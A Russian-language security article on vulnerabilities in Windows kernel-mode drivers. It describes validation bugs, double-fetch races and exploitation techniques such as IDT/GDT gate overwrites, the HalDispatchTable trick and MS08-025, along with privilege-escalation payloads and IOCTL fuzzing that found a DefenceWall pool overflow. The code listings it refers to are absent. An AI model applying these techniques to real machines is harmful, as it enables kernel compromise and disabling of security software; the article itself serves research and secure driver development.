Пожалуйста, обратите внимание, что пользователь заблокирован
Введение
Многим известно, что драйверы режима ядра в Windows используются не только для управления устройствами. Очень многие программы используют их как «окно» для доступа в более привилегированный режим – Ring 0. В первую очередь это касается защитного ПО, к которому можно отнести антивирусы, персональные файрволы, HIPS-ы (Host Intrusion Prevention Systems) и программы класса internet security. Очевидно, что кроме основных функций подобные драйверы будут оснащены также механизмами взаимодействия, предназначенными для обмена данными между драйвером и другими программными компонентами, работающими в пользовательском режиме. Тот факт, что код, работающий на высоком уровне привилегий, получает данные от кода, работающего на уровне привилегий более низком, заставляет разработчиков уделять повышенное внимание вопросам безопасности при проектировании и разработке упомянутых выше механизмов взаимодействия. Однако как с этим обстоят дела на практике?
В этой статье я максимально широко рассмотрю тему уязвимостей в драйверах режима ядра, их эксплуатации и поиска. Вопросы написания качественного и надежного кода также не останутся без внимания.
Диспетчер ввода-вывода
Существует достаточно много как документированных, так и не очень, системных механизмов, которые могут быть использованы для организации взаимодействия кода пользовательского режима с драйверами режима ядра. Самыми функциональными и наиболее часто используемыми являются те механизмы, которые представляются диспетчером ввода-вывода. В конце концов, именно они и создавались разработчиками операционной системы для подобных задач. Давайте рассмотрим, как обычно организуется работа с диспетчером ввода-вывода со стороны драйвера и приложения. После загрузки драйвер создаёт именованный объект ядра «устройство», используя функцию IoCreateDevice. Для обработки обращений к созданным устройствам драйвер ассоциирует со своим объектом набор функций-обработчиков. Эти функции вызываются диспетчером ввода-вывода при выполнении определённых операций с устройством (открытие, закрытие, чтение, запись и т.д.), а также в случае некоторых системных событий (например, завершения работы системы или монтирования раздела жесткого диска). Структура, описывающая объект «драйвер», называется DRIVER_OBJECT, а эти функции – IRP (I/O Request Packet) обработчиками. Их адреса драйвер помещает в поле DRIVER_OBJECT::MajorFunction, которое, по своей сути, является массивом указателей, имеющим фиксированный размер IRP_MJ_MAXIMUM_FUNCTION + 1.
Константа IRP_MJ_MAXIMUM_FUNCTION определена в заголовочных файлах Driver Development Kit (DDK) как 27. Как видите, типов событий, связанных с устройством, довольно много. IRP-обработчики имеют следующий тип:
Параметр DeviceObject указывает на конкретное устройство (у одного драйвера их может быть много), а Irp – на структуру, содержащую различную информацию о запросе к устройству: контрольный код, буферы для входящих и исходящих данных, статус завершения обработки запроса и многое другое.
Так как устройство, создаваемое драйвером, является именованным объектом, оно видно в пространстве имён диспетчера объектов. Это позволяет открывать его по имени, используя функцию CreateFile/OpenFile (или её native-аналог – NtCreateFile/NtOpenFile). Именно это, как правило, в первую очередь и делает код пользовательского режима, которому необходимо передать драйверу, владеющему устройством, какой-либо запрос. Во время открытия устройства, в контексте процесса, осуществляющего эту операцию, вызывается обработчик драйвера IRP_MJ_CREATE. Подобные уведомления позволяют драйверу управлять открытием своих устройств – он может запретить или разрешить это по своему усмотрению. Если открытие устройства со стороны драйвера было разрешено, система создаёт ассоциированный с устройством объект ядра типа «файл», дескриптор которого возвращается функцией CreateFile. Когда устройство открыто, приложение может вызывать функции ReadFile, WriteFile и DeviceIoControlFile для взаимодействия с драйвером. Наибольший интерес для нас представляет последняя функция.
Ниже представлена схема поясняющая способ обработки запроса после вызова данной функции:
Рисунок 1. Путь прохождения IRP запроса.
В качестве параметра hDevice она получает дескриптор устройства, в lpInBuffer и nInBufferSize передается указатель на буфер с входящими данными и его размер, а в lpOutBuffer и nOutBufferSize – указатель и размер буфера для данных, которые будут возвращены драйвером. Отдельно стоит рассказать о параметре dwIoControlCode. Он представляет собой двойное слово и служит для указания драйверу кода операции, которую мы хотим осуществить. Поддерживаемые драйвером значения кода запроса ввода-вывода определяются на этапе написания конкретного драйвера (т.е., жестко «зашиты» в его код) и выбираются разработчиком не по произвольному принципу. Вот какую информацию извлекает диспетчер ввода-вывода из этого двойного слова:
Рисунок 2. I/O Control Code.
Device Type – идентификатор устройства (биты 16-31); диапазон 0-7FFFh зарезервирован Microsoft, а значение из диапазона 8000h-0FFFFh может быть любым, по усмотрению разработчика драйвера. Это значение также передаётся функции IoCreateDevice в качестве параметра DeviceType при создании устройства.
Access – набор флагов, определяющих права доступа к устройству.
Method – определяет метод ввода-вывода.
Теперь, когда вы уже знакомы с общими принципами работы диспетчера ввода-вывода, мы можем рассмотреть пример исходного кода обработчика IRP_MJ_DEVICE_CONTROL, который осуществляет копирование данных из памяти пользовательского режима, указатель на которую передаётся драйверу в IRP-запросе. Пример подобного кода можно найти в очень многих реальных программах и, как правило, не все из них корректно справляются с валидацией входных данных.
В данном случае использование METHOD_BUFFERED освобождает разработчиков от необходимости валидации полученного указателя на REQUEST_BUFFER (система делает это сама при копировании данных в не подкачиваемый пул), однако, проанализировав код более детально, можно сделать выводы о наличии нескольких очень грубых ошибок:
Как видите, в этом варианте присутствуют все необходимые проверки. Для валидации user mode-указателя используется документированная в DDK функция ProbeForRead. Если вы используете метод ввода-вывода METHOD_NEITHER, то вам в качестве дополнительной меры обязательно нужно подвергать аналогичной проверке указатель на входные и выходные пользовательские данные IRP-запроса (поля DeviceIoControl.Type3InputBuffer и UserBuffer). Причем для выходного буфера следует использовать функцию ProbeForWrite, так как он может находиться на странице памяти пользовательского режима, не имеющей разрешение на запись, что в свою очередь вызовет BSоD при попытке записать туда что-либо из драйвера.
Ситуация, когда в драйвер передаётся указатель на память, лежащую в диапазоне адресов режима ядра, встречается менее часто. Для валидации подобного указателя нельзя использовать функции ProbeForRead/ProbeForWrite, ошибки доступа к памяти режима ядра не отлавливаются также и структурными обработчиками исключений, поэтому придется использовать другую функцию, MmIsAddressValid. Для удобства можно написать свою обёртку над ProbeForRead и MmIsAddressValid, пригодную для проверки как kernel mode, так и user mode-указателей.
Весьма часто перед разработчиком драйверов режима ядра встает необходимость перехвата различных системных сервисов. Разумеется, в этом случае также нужно предпринимать все необходимые меры для проверки получаемых параметров. Однако особенность именно системных сервисов заключается в том, что они могут быть вызваны как из пользовательского режима (Zw* и Nt* функции ntdll.dll), так и из режима ядра (Zw* функции ntoskrnl.exe). В последнем случае параметры сервиса могут содержать указатели на память режима ядра, и это нужно как-то учитывать во время их валидации. К счастью, для определения того, из какого режима был осуществлён вызов системного сервиса, разработчики ядра предоставили в наше полное распоряжение функцию GetPreviousMode. Она возвращает значение поля PreviousMode структуры KTHREAD, описывающей текущий поток, а само значение устанавливается диспетчером системных вызовов. Ниже приведён пример проверки входных параметров обработчика перехвата системного сервиса NtOpenProcess:
Возможно, вас несколько удивит отсутствие какой-либо проверки на случай, если GetPreviousMode вёрнет KernelMode, однако это весьма распространенная практика, и проверка параметров системных вызовов в самом ядре осуществляется аналогичным образом. Зачем лишний раз занимать процессор ресурсоёмкими операциями, если драйвер режима ядра и без того имеет огромную кучу возможностей уронить систему? Совершенно незачем.
Несмотря на то, что подавляющее большинство ошибок реализации в драйверах реальных программ обусловлено именно неправильной валидацией указателей и некорректной проверкой формата/размера входных данных, разработчику стоит обращать внимание не только на это. Вот ещё некоторые нюансы, которые необходимо соблюдать при написании качественного кода:
Взгляните на следующий пример кода:
От приведённого в прошлой главе примера он отличается разве что другим методом ввода-вывода – METHOD_NEITHRER, но все необходимые проверки присутствуют, и, на первый взгляд, придраться не к чему. Однако этот код содержит весьма серьёзную уязвимость, которая в определённых ситуациях может привести к переполнению стека. Дело в том, что IRP-обработчики выполняются на низком IRQL, а это значит, что поток во время исполнения кода IRP-обработчика, по исчерпанию кванта процессорного времени, может быть прерван другим потоком. А теперь давайте представим, что первый поток, исполняющий показанный выше код, был прерван после того, как он успел выполнить выделенный фрагмент №1 (валидация указателя), но до того, как начал исполняться фрагмент №2 (копирование данных). В это время второй поток, который вытеснил первый, подменяет значение полей Buff->Data/Buff->Size (Buff указывает на память режима пользователя из-за METHOD_NEITHRER), ну а первый поток, после своего возобновления, имеет уже не те данные, с которыми он работал на момент проверки. Это и даёт возможность атакующему добиться переполнения локального буфера Data[].
Такой тип уязвимостей называется double fetch, и пример показанный мной возник не на пустом месте. Такие уязвимости тяжело выявлять и ещё сложнее эксплуатировать, однако в реальных программах они встречаются. Примером этого может служить уязвимость MS08-061, которая была найдена осенью 2008 года в драйвере графической подсистемы Windows (win32k.sys). Для предотвращения подобных ситуаций разработчику достаточно всего-навсего обращаться к полям структуры всего один раз, сохраняя их значения в локальных переменных.
Техника эксплуатации double fetch-уязвимостей заключается в создании двух потоков, первый из которых будет в цикле отправлять IRP-запрос драйверу, а второй, с более высоким приоритетом, вызывать функцию Sleep, подбирая интервал задержки таким образом, чтобы исполнение первого потока прервалось в нужном месте. В процессе этих манипуляций другие потоки системы должны быть приостановлены, если такая возможность присутствует. Разумеется, никаких гарантий успешной эксплуатации нет даже близко, и в условиях, отличных от лабораторных, её вероятность будет определяться исключительно волей случая.
Несколько слов о защитном ПО
Раскрытые выше вопросы написания кода в полной мере характерны для любых драйверов режима ядра. Но так как эксплуатация уязвимостей драйверов в большей степени является проблемой для защитных программ, я считаю необходимым также затронуть и те вопросы их проектирования, которые напрямую связаны с нашей темой.
Одним из немногих необходимых условий успешной эксплуатации уязвимости в драйвере, который использует возможности диспетчера ввода-вывода для взаимодействия с приложением, является возможность беспрепятственного получения дескриптора его устройства. Очевидно, что, не имея дескриптора, мы не сможем осуществить атаку, передав драйверу нужные нам данные с помощью функции DeviceIoControl. Можно придумать не так много способов получения дескрипторов устройства:
Однако я слишком углубился в теоретические изыскания. А как же действительно обстоят дела в защитных программах? К сожалению, несмотря на простоту и очевидность описанных в этой главе мер, в настоящее время ни один продукт (будь то антивирус, или файрвол, или пакет класса internet security) должным образом не препятствует открытию дескрипторов своих устройств сторонними процессами. Это демонстрирует крайнюю степень недальновидности и бессистемного подхода разработчиков данного ПО: ведь даже при отсутствии уязвимости злонамеренный процесс будет иметь возможность банально послать драйверу системы защиты «магический» запрос, который используется легитимным приложением-сервисом для её отключения при нажатии пользователем на соответствующую кнопку. Нередки и такие ситуации, когда вспомогательная DLL-библиотека, внедряемая HIPS-ом в контролируемый процесс, напрямую общается с устройством драйвера защиты. В этом случае для эксплуатации уязвимости или отправки того самого «магического» запроса открытие устройства вообще не требуется: достаточно только перечислить свои дескрипторы, с целью найти среди них нужный.
Уязвимости в антируткитах
Разработчикам также важно уделять особое внимание написанию кода, который осуществляет парсинг файлов какого-либо формата. Это могут быть как текстовые форматы вроде XML или INI, так и бинарные, вроде Portable Executable. Примером в случае с PE-файлами могут служить современные антируткит-утилиты, которые, как известно, помимо скрытых объектов (файлы, ключи системного реестра, процессы) могут также обнаруживать перехваты функций, установленные путём патчинга их кода (такая техника перехвата называется сплайсинг). Очевидно, что для детектирования сплайсинга достаточно прочитать код, который содержится в исполняемом файле на диске и сравнить его с тем, который загружен в память. Вот здесь и начинается самое интересное. Дело в том, что в зависимости от аппаратной конфигурации путь к исполняемому файлу ядра может отличаться на разных системах, поэтому большинство антируткитов получают данный путь либо из информации о загруженных модулях, возвращённой функцией NtQuerySystemInformation, либо самостоятельным анализом списка загруженных модулей ядра. Список загруженных модулей является двусвязным, его заголовок находится в глобальной переменной ядра, которая называется PsLoadedModuleList, а каждый элемент списка описывается структурой LDR_DATA_TABLE_ENTRY. Именно на этой особенности работы антируткитов основывается атака, состоящая из следующих шагов:
Как вы можете видеть по результатам тестирования самых популярных антируткитов, корректно отработал в данной ситуации только Rootkit Unhooker, который, к слову, вполне заслуженно имеет славу одной из самых стабильных и функциональных утилит подобного рода.
Рисунок 3. Rootkit Unhooker, успешно отразивший атаку.
От защитного ПО к ядру операционной системы
В апреле 2008 года в публичных источниках впервые появилась информация об уязвимости MS08-025, эксплуатация которой позволяла выполнить произвольный код в режиме ядра и достичь благодаря этому локального повышения привилегий на операционных системах Windows XP и Windows Server 2003. Стоит сказать, что это уже далеко не первая уязвимость, которая была обнаружена в win32k.sys, и я более чем уверен, что и не последняя. Такая ситуация сложилась в первую очередь из-за того, что изначально графическая подсистема работала в режиме пользователя (по Windows NT 4.0 включительно), но позже, чтобы сократить количество ресурсоёмких операций по переключению потока в режим ядра, разработчиками Windows было решено перенести графическую подсистему в Ring 0. Однако, в силу достаточно большого объёма кода и архитектурных особенностей, во время этого переноса не было уделено достаточно внимания вопросам безопасности, что в свою очередь и способствовало появлению в win32k.sys большого количества уязвимостей разной степени опасности.
Причиной уязвимости MS08-025 стала неправильная валидация входных параметров в системном вызове графической подсистемы NtUserMessageCall. Прототип этой недокументированной функции выглядит так:
Взгляните на следующий фрагмент дизассемблерного листинга данной функции:
По адресу win32k!gapfnMessageCall, как несложно догадаться, находится таблица адресов переходов C-оператора case. В стеке вызываемой функции передаются c второго по пятый параметры (msg, wParam, lParam, xParam), что были переданы в NtUserMessageCall, а сама вызываемая функция определяется шестым параметром (xPfnProc). Если в качестве значения этого параметра передать ноль, будет осуществлён вызов следующей функции:
Этот код с помощью уже известной нам функции ProbeForWrite проверяет доступность для записи буфера со строкой, адрес и длина которой определяется четвертым и пятым параметрами (lParam и xParam) функции NtUserMessageCall. Если указатель корректен, в конец строки записывается нулевой байт (слово), чтобы эту строку корректно обработала функция RtlMultiByteToUnicodeN (в листинге её вызов пропущен). На первый взгляд здесь всё совершенно корректно, однако разработчики забыли учесть тот факт, что ProbeForWrite всегда возвращает TRUE, если в качестве длины был передан ноль. Этот факт, в свою очередь, вместе с отсутствием проверки принадлежности указателя к диапазону памяти пользовательского режима, позволяет записать нулевое слово по произвольному адресу памяти ядра. Для этого нужно вызвать NtUserMessageCall следующим образом:
В качестве первого параметра (hWnd) нужно передавать валидный дескриптор любого окна. Об эксплуатации этой и подобных уязвимостей читайте далее.
В системных компонентах функция ProbeForWrite используется очень часто, и существует ещё целый ряд уязвимостей, связанных с её неверным использованием (например, MS08-066). Тот факт, что подобные огрехи весьма часто встречаются даже в таких, казалось бы, важных узлах ОС, как графическая подсистема, лишний раз демонстрирует необходимость внимательного и тщательного подхода к безопасности при написании абсолютно любого Ring 0 кода.
Эксплуатация локальных уязвимостей в драйверах режима ядра
Предположим, уязвимость вами уже найдена, теперь было бы хорошо попробовать её поэксплуатировать. Способы эксплуатации уязвимостей в драйверах бывают весьма разные, и зависят, в первую очередь, от типа уязвимостей, которые бывают условно следующими:
Возможность перезаписи произвольного байта памяти существует в основном из-за ошибок при проектировании и на практике встречается весьма часто. Такую уязвимость эксплуатировать проще всего, и сейчас я покажу, как выполнить произвольный код в режиме ядра на примере перезаписи элемента в таблице векторов прерываний (IDT). Каждая запись IDT представляет собой два двойных слова, и может описывать шлюз вызова, шлюз прерывания или шлюз задачи. Нас интересует исключительно шлюз прерывания, имеющий следующий формат:
Рисунок 4. Шлюз прерывания.
Поля Offset High и Offset Low содержат старшие и младшие 16 бит адреса вектора (обработчика) прерывания. Segment Selector – это значение кодового селектора, которое будет помещено процессором в сегментный регистр CS после генерации прерывания. В Windows значение кодового селектора для режима ядра всегда равно 8. Бит P (Present) определяет доступность данной записи в IDT и если она используется – должен быть установлен в значение 1. DPL (Descriptor Privileges Level) – контролирует доступ к вектору, и в нашем случае он должен содержать значение 3. Бит D определяет разрядность записи в IDT таблице: должен содержать 1 для 32-битного режима и 0 для 16-битного.
Теперь, зная формат записи таблицы векторов прерываний, можно написать код, который устанавливает свой шлюз прерывания и вызывает его вектор:
Номер вектора прерывания выбирается произвольно, с тем расчётом, чтобы он был свободен на статистически как можно большем количестве тестовых машин. Благо, в Windows большинство векторов прерываний защищённого режима выше 30h свободно почти всегда.
Для выполнения своего кода в режиме ядра можно также использовать установку шлюза вызова в глобальной таблице дескрипторов (GDT). Этот код не имеет абсолютно никаких преимуществ перед приведенным выше примером с IDT, и использование того или иного метода – дело исключительно личных предпочтений. Я же решил показать оба для полноты картины. Размер записи глобальной таблицы дескрипторов также равен двум двойным словам, и шлюз вызова имеет следующий формат:
Рисунок 5. Шлюз вызова.
Поля Offset High, Offset Low, Segment Selector, P и DPL имеют такие же значения, как и аналогичные в шлюзе прерывания. Type определяет тип шлюза, для 32-битного шлюза вызова он должен быть равен 12 (1100b). Поле Parameters Count определяет количество двойных слов, которые будут скопированы из стека в случае его переключения, в нашем случае это значение должно быть нулевым.
Теперь напишем код, который будет устанавливать шлюз вызова и выполнять передачу управления обработчику шлюза путём длинного межсегментного вызова:
Возможно, многие из вас зададут вопрос: почему, имея возможность перезаписи произвольного байта памяти ядра, нам просто не подменить адрес обработчика системного сервиса в SDT вместо возни с каким-то таблицами процессора? Без сомнения, перезаписать адрес какого-нибудь редко используемого системного сервиса несколько проще, однако у этого метода есть один существенный подводный камень. Как известно, указатель на непосредственно саму таблицу адресов обработчиков системных вызовов (KiServiceTable) при их диспетчеризации ядро получает из KeServiceDescriptorTable, куда он заносится на этапе инициализации системы. KiServiceTable достаточно легко находится с помощью анализа секции базовых поправок бинарного файла ядра, но подвох заключается в том, что очень часто её адрес в KeServiceDescriptorTable бывает подменён со стороны руткита или вполне легального софта (например, Kaspersky Internet Security когда-то этим грешил), решившего расширить эту таблицу для добавления в неё своих дополнительных системных сервисов. Другими словами, у нас нет никакой возможности найти адрес реально используемой таблицы адресов обработчиков системных вызовов из пользовательского режима.
Стоит помнить, что в Windows GDT- и IDT-таблицы свои для каждого процессора (однако их содержимое полностью дублируется). Поэтому перед вызовом приведенных выше функций call_r0_gdt или call_r0_idt необходимо «привязать» текущий поток к одному конкретному процессору. Для этого можно использовать функцию SetThreadAffinityMask, которая устанавливает битовую маску размером в два двойных слова, где каждый установленный бит обозначает процессор, на котором целевому потоку будет разрешено выполняться:
С уязвимостями, основанными на возможности перезаписи произвольного байта, мы разобрались, но что делать, когда у атакующего получается только обнулить память по произвольному адресу (примером подобной уязвимости может служить описанная выше MS08-025)? Очевидно, что ноль можно использовать как адрес, по которому можно осуществлять передачу управления (в пользовательском режиме действительно можно выделить страницу памяти, которая будет иметь нулевой адрес), однако куда этот нулевой адрес записать? GDT и IDT не подходят, KiServiceTable ненадёжна, поэтому при беглом рассмотрении в голову приходят только сравнительно сложные и нестабильные варианты с поиском инструкции типа jmp imm32 в кодовой секции ядра и перезаписью её операнда. Но если копнуть глубже, можно найти намного более изящное решение.
В таблице экспорта бинарного файла ядра, помимо всего прочего, есть одна достаточно интересная запись – HalDispatchTable. При более близком рассмотрении можно установить, что это действительно таблица, которая импортируется модулем hal.dll (библиотека уровня аппаратных абстракций). Эта таблица содержит указатели на некоторые функции hal.dll, которые используются ядром и, как несложно догадаться, заполняется в коде самой hal.dll:
В исходных текстах ядра эта таблица объявлена так:
Для нас интерес представляет самая первая функция – HalQuerySystemInformation. Прототип её следующий:
Если отследить все места, из которых она вызывается, можно заметить, что она вызывается из KeQueryIntervalProfile:
А KeQueryIntarvalProfile, в свою очередь, практически сразу вызывается из системного сервиса NtQueryIntervalProfile:
Системный сервис NtQueryIntervalProfile используется для работы с объектами ядра типа «профиль», а именно – для получения значения задержки между тиками счётчика производительности:
Таким образом, затерев в HalDispatchTable нулевым байтом поле HalQuerySystemInformation и вызвав NtQueryIntervalProfile, мы передадим управление нашему коду, находящемуся по нулевому адресу, и он будет выполнен с привилегиями режима ядра.
Теперь самое время продемонстрировать эту технику на практике, показав пример эксплуатации уже известной нам уязвимости MS08-025.
Эксплуатация локальных переполнений стека в драйверах режима ядра более чем тривиальна, и абсолютно ничем не отличается от эксплуатации схожих уязвимостей в обычных Windows-приложениях. Однако некоторые незначительные отличия всё же имеются:
Полезная нагрузка
Что же может сделать злоумышленник (или, например, специалист по аудиту безопасности), получивший возможность выполнять свой код в режиме ядра? Да всё что угодно! Обычно выполняются манипуляции по снятию перехватов, которые были установлены защитными системами, повышению привилегий для своего процесса, или загрузке драйвера руткита прямо из памяти.
Дальнейшие шаги в эксплуатации уязвимостей
Обычно выполнение произвольного кода с привилегиями режима ядра преследует вполне определенные цели, среди которых злоумышленнику могут быть полезны манипуляции по снятию перехватов, которые были установлены защитными системами, повышению привилегий для своего процесса, или загрузке драйвера руткита прямо из памяти. Но очень часто подобные манипуляции также являются целью и специалиста по информационной безопасности, который в рамках проведённого аудита ПО хочет на наглядном примере продемонстрировать опасность найденных уязвимостей. По этой причине разработку «полезной нагрузки» для эксплойта нам также стоит рассмотреть.
Первым делом нужно заранее получить и сохранить в глобальных переменных адреса функций ядра, которые планируется использовать. Непосредственно внутри процедуры, выполняющей какие-либо действия в режиме ядра, необходимо перезагрузить сегментный регистр FS, так как в пользовательском режиме и режиме ядра он указывает на совершенно разные структуры: Thread Environment Block (TEB) и Processor Control Region (KPCR) соответственно. Если в процессе эксплуатации был затерт нулями какой-либо адрес в HalDispatchTable, его нужно восстановить (или заменить заглушкой, если такой возможности нет), иначе – BSoD при любом вызове этой функции в контексте какого-либо другого процесса.
Для повышения привилегий какого-либо процесса достаточно выполнить следующий ряд действий:
Автоматизация выявления уязвимостей
Большинство уязвимостей, существующих из-за неправильной обработки данных, которые драйвер получает в IRP-запросе, довольно однотипны, что заставляет нас задаться вполне рациональным вопросом – “А можно ли автоматизировать их выявление?” Да, это более чем возможно. Автоматизированный анализ хоть и не избавит исследователя от рутинной работы полностью, но поможет существенно сократить её количество, задавая общее направление для дальнейшего копания. Ведь давно замечено, что обычно некорректная обработка входных данных не является разовым явлением и, найдя одну, пусть даже не эксплуатируемую уязвимость, мы с огромной вероятностью найдём и другую, проследив либо data flow, либо другие участки программного кода, выполняющие аналогичную задачу.
Для наших целей замечательно подойдёт метод фаззинга. В самом обобщенном понимании, суть фаззинга заключается в генерации и отправке заведомо некорректных входных данных с расчётом на то, что код, который их обрабатывает, попросту не учитывает возможность присутствия подобных некорректностей. Очевидно, что для формирования этих данных нам нужно как минимум знать их формат, что в случае с обработкой IRP-запросов, посылаемых неизвестным приложением неизвестному драйверу, опять упирается в ручной анализ. Однако из этого замкнутого круга есть выход. Взгляните на схему ниже, она несколько отличается от схемы нормального прохождения IRP-запроса, приведенной в первой части статьи:
Рисунок 6. Взаимодействие фаззера с системой.
Драйвер нашей утилиты-фаззера будет перехватывать функцию ядра NtDeviceIoControlFile, получая, таким образом, возможность контролировать отправку всех IRP-запросов от приложений к драйверам режима ядра. Также, во время обработки запроса к интересующему нас драйверу, фаззер отправляет свой запрос, используя такие же размеры буферов и I/O Control Code, но генерируя входные данные псевдослучайным образом. Это частично и избавляет нас от необходимости проведения реверс-инжениринга с целью узнать формат принимаемых драйвером данных, ведь достаточно будет узнать хотя бы I/O Control Code и их размер.
Для проведения фаззинга мной была написана утилита IOCTL Fuzzer, которая помимо основной функциональности имеет режим мониторинга с выводом как основных параметров и информации об IRP-запросе, так и HEX-дампа данных, в окно консоли или текстовый лог-фал. Фильтрация целевых запросов (т.е., отсеивание только тех, которые нас интересуют) осуществляется по allow/deny-спискам, где в качестве параметров для фильтрации можно указывать:
Рисунок 7. Фаззер в процессе работы.
Обычно тестирование какого-либо ПО с помощью данной утилиты производится в несколько шагов:
Идея проверить фаззером именно DefenceWall HIPS пришла мне в голову после прочтения результатов теста на эффективность защиты от новейших вредоносных программ. Этот тест проводился порталом anti-malware (ознакомиться с результатами можно здесь: http://www.anti-malware.ru/node/885), и именно DefenceWall (последняя версия на момент тестирования – 1.74), сравнительно молодой продукт от российских разработчиков, занял первое место по итогам тестирования.
Сказано – сделано. Довольно быстро на виртуальной машине произошло падение подопытного HIPS-а. В логе отладочных сообщений, выводимых фаззером, была следующая информация:
Очевидно, что при обработке последнего IRP-запроса с I/O Control Code, равным 0x00222094, исключение и произошло. Далее дело за отладчиком, который поможет нам понять его причину. В ответ на !analyze –v, WinDbg, помимо всего прочего, показал нам такие строки:
Также отладчик сообщил, что адрес 0xe108b000, по которому осуществлялась вызвавшая исключение попытка записи, принадлежит подкачиваемому пулу ядра. А это хорошие новости, так как мы имеем дело с переполнением пула, которое, скорее всего, подлежит эксплуатации. Вывод команд kb (kernel backtrace) и !irp подтвердил предположение об вызвавшем исключение IRP-запросе:
Выделенный адрес есть не что иное, как указатель на структуру _IRP, который передаётся в стеке обработчику IRP_MJ_DEVICE_CONTROL целевого драйвера. Теперь мы можем совершенно точно сказать, что исключение было вызвано запросом с кодом 0x00222094. Дальнейший анализ стека вызовов приводит нас к процедуре, начинающейся по адресу dwall+0x46f00. В самом начале она выделяет участок памяти фиксированного размера в подкачиваемом пуле:
Далее происходит копирование данных из полученного в IRP-запросе буфера в выделенную память без проверки их размера, что и вызывает переполнение пула:
Пример Proof of Concept кода, демонстрирующего данную уязвимость, весьма тривиален:
IOCTL Fuzzer помог мне найти уязвимости не только в DefenceWall-е, но и во многих других антивирусах и продуктах класса Internet Security, которые были протестированы. Этот факт подтверждает весьма хорошие перспективы в плане дальнейшего использования данного метода, даже несмотря на всю его простоту и примитивность.
Ручной поиск уязвимостей
Уязвимости могут скрываться не только в обработчиках IRP-запросов: точек взаимодействия драйвера и других компонентов операционной системы может быть довольно много. К тому же, рассмотренный ранее метод фаззинга не является чем-то самостоятельным, и его стоит воспринимать исключительно как технику сугубо инструментального характера, предназначенную для частичной автоматизации одного из этапов ручного анализа. А раз уж мы сказали, что получение данных драйвером средствами диспетчера ввода-вывода является лишь одной точкой взаимодействия, необходимо уделить внимание и другим возможным:
Очевидно, что полный реверсинг бинарного файла драйвера может оказаться слишком трудоёмким, но в случае, когда драйвер читает данные из файлов или системного реестра, у нас попросту нет другого выбора. Конечно, существуют утилиты вроде Registry Monitor и File Monitor от Марка Руссиновича (http://technet.microsoft.com/en-us/sysinternals/default.aspx), но они предназначены в первую очередь для мониторинга активности со стороны процессов пользовательского режима, и для нахождения точек взаимодействия находящихся внутри конкретных драйверов режима ядра не подходят в принципе. Хотя вполне возможно и самостоятельное написание инструментов подобного плана, которые бы подходили для анализа активности со стороны драйверов режима ядра.
С перехватами функций ядра исследуемым драйвером дела обстоят гораздо лучше: есть масса антируткитов, которые способны их обнаруживать и представлять информацию в виде вполне наглядного отчёта. Для наших целей лучше всего подходит бесплатная утилита под названием Rookit Unhooker, которая уже упоминалась в статье:
Рисунок 8. Rootkit Unhooker нашел перехваты, установленные Kaspersky Internet Security.
Суть дальнейшей работы по поиску уязвимостей заключается в анализе машинного кода обработчиков найденных перехватов с целью установить, насколько корректно обрабатываются получаемые в них данные. По итогам анализа также весьма логичным будет написание узкоспециализированного фаззера, который будет каким-либо образом добиваться передачи управления перехватываемой функции и передачи ей заведомо некорректных параметров. В качестве примера подобного фаззера можно привести утилиту BSODhook (http://www.matousec.com/projects/bsodhook/), которая предназначена для фаззинга перехваченных системных сервисов.
Для перехвата сетевого трафика NDIS драйверы промежуточного уровня вместо перехватов каких-либо функций могут использовать и предусмотренные разработчиками операционной системы методы фильтрации. Рассказ о сути самих методов выходит за рамки тематики данной статьи, но для исследователя будет важен тот факт, что данные методы требуют создания со стороны драйвера-фильтра дополнительных NDIS протоколов и минипортов, с которыми будут ассоциированы функции-обработчики, вызываемые NDIS-библиотекой для передачи драйверу информации о сетевых запросах. Для работы с NDIS протоколами и минипортами отладчик WinDbg имеет расширение под названием ndiskd.dll, которое подробно описано в документации к Debugging Tools For Windows. Использовать это расширение для поиска обработчиков сетевых запросов драйвера-фильтра очень просто. Ниже я продемонстрирую это на примере фильтра, устанавливаемого Outpost Firewall.
Выделенный адрес – указатель на структуру NDIS_OPEN_BLOCK. Он является дескриптором, который возвращает функция NdisOpenAdapter после установки связи между NDIS протоколом, созданным драйвером файрвола (в списке протоколов он называется AFW), и промежуточным NDIS-драйвером, представляющим физический сетевой адаптер.
Очень часто для перехвата сетевого трафика драйверы персональных файрволов подменяют адреса обработчиков в уже имеющихся структурах NDIS_OPEN_BLOCK, которые принадлежат NDIS-протоколу TCPIP (это стандартный NDIS-протокол, создаваемый при загрузке системы драйвером tcpip.sys, в котором реализована функциональность TCP/IP-стека). Следующий пример демонстрирует поиск подобных перехватов, установленных файрволом ZoneAlarm.
Обработчики, адреса которых не принадлежат драйверам tcipip.sys или NDIS.sys, являются перехваченными (в приведённом примере их адреса выделены жирным шрифтом). После того, как обработчики принадлежащие драйверу файрвола, найдены, на них можно поставить break point в отладчике и проследить, каким образом обрабатываются принятые сетевые пакеты. Кто знает, может где-то в недрах драйвера найдётся уязвимость, подходящая для удалённой эксплуатации.
Выводы
Уязвимости есть практически везде, и драйверы не являются исключением. Само ядро Windows достаточно безопасно и изучено вдоль и поперек, а это означает, что главной причиной наличия уязвимостей по-прежнему остаётся человеческий фактор со стороны разработчиков уже конкретного конечного продукта, а не программной платформы на которой он работает. Безусловно, кроме ядра в Windows есть множество других компонентов, работающих в режиме ядра, уязвимости в которых находили, находят, и будут находить, но это уже проблемы исключительно Microsoft, и от ответственности они никого не избавляют. В случае с защитным ПО ситуация также усугубляется тем, что даже самый качественный и тщательно протестированный программный код может не сыграть в конечном итоге никакой роли, если на этапе его проектирования достаточного внимания не было уделено фундаментальности подхода к разработке самой архитектуры и базовых принципов работы защиты. Однако я очень надеюсь, что кого-то из разработчиков моя статья заставит задуматься и сделать определённые выводы, которые впоследствии скажутся на результатах их работы самым положительным образом. В конце концов, ничего сложного в написании «непробиваемого» кода нет, нужны всего лишь чуточка внимания и немного аналитического мышления.
Автор: Олексюк Дмитрий
Многим известно, что драйверы режима ядра в Windows используются не только для управления устройствами. Очень многие программы используют их как «окно» для доступа в более привилегированный режим – Ring 0. В первую очередь это касается защитного ПО, к которому можно отнести антивирусы, персональные файрволы, HIPS-ы (Host Intrusion Prevention Systems) и программы класса internet security. Очевидно, что кроме основных функций подобные драйверы будут оснащены также механизмами взаимодействия, предназначенными для обмена данными между драйвером и другими программными компонентами, работающими в пользовательском режиме. Тот факт, что код, работающий на высоком уровне привилегий, получает данные от кода, работающего на уровне привилегий более низком, заставляет разработчиков уделять повышенное внимание вопросам безопасности при проектировании и разработке упомянутых выше механизмов взаимодействия. Однако как с этим обстоят дела на практике?
